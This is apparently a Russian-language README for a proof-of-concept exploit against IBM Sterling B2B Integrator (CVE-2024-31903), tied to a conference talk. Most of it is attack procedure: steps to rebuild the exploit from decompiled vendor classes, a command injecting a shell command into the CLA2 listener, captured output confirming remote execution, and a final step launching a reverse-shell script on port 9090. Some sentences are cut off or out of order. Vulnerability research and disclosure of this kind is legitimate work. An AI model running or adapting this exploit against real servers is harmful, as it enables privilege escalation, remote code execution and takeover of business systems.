
PoC-код для атак LPE и RCE (CVE-2024-31903) против IBM Sterling B2B Integrator
Код доказательства концепции для эксплуатации уязвимостей, обнаруженных в IBM Sterling B2B Integrator, версии с 6.2.0.0 по 6.2.0.2 и с 6.0.0.0 по 6.1.2.5 для систем Linux, Windows и AIX:
Более подробная информация об этих проблемах представлена в моём докладе на DistricCon «To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication»:
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
Большая часть кода в этом репозитории относится к атаке LPE через внедрение команд.
Двоичный клиент на Python bin_client.py можно использовать для ручной отправки сообщений CLA2, что позволяет эксплуатировать уязвимость RCE через десериализацию.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
PoC принимает два параметра:
bin_client.py, или строку «SEND» для немедленной отправки на host:port, где слушает клиент CLA2.Исходный код, включённый в этот репозиторий, намеренно неполон, поскольку требуются определённые классы из подсистемы CLA2. В зависимости от прав доступа к файлам установочного каталога вы можете получить доступ к JAR-файлам.
Предполагается, что вы извлекли соответствующие файлы из декомпиляции JAR. Они не будут загружены сюда, так как являются интеллектуальной собственностью IBM.
Декомпилируйте CLA2Client.jar
В декомпилированном коде найдите файлы CmdLine2Result.java и CmdLine2Parms.java
Скопируйте и вставьте их рядом с Main.java, чтобы воссоздать структуру каталогов пакета Java исходного приложения:
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py и revshell_listener.py на целевую систему и запустите слушатель. Затем замените параметр команды PoC на вызов скрипта обратной оболочки, как показано ниже:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND